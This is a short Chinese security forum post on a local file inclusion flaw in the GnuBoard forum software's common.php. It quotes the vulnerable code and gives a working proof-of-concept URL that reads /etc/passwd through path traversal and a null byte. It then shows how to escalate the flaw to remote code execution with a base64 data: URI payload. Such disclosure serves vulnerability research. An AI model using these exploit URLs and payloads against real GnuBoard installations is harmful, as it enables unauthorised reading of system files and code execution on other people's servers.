By Flyh4t
http://bbs.wolvez.org/
GnuBoard是韩国比较常见的一个论坛,存在较多的漏洞,其中common.php存在一个文件包含漏洞 看common.php代码
@extract($_GET); @extract($_POST); @extract($_SERVER);
……
if (!$g4_path || preg_match(“/:\/\//”, $g4_path)) die(“
“);
//if (!$g4_path) $g4_path = “.”;
$g4['path'] = $g4_path; //只限制了$g4_path不能有字符 ://
unset($g4_path);
include_once(“$g4[path]/lib/constant.php”); //本地文件包含漏洞 include_once(“$g4[path]/config.php”);
POC:
http://test.com/GnuBoard/common.php?g4_path=../../../../../../../etc/passwd%00
———————————————————————————– 在Ryat牛的提示下,这个本地包含晋升为远程代码执行漏洞。 bypass_local.php
if (!$g4_path || preg_match("/:\/\//", $g4_path)) die("fuck"); $g4['path'] = $g4_path; unset($g4_path); include_once("$g4[path]/lib/constant.php"); ?>
在allow_url_include = On且PHP >= 5.2.0的条件下 提交bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo= 成功执行phpinfo()
|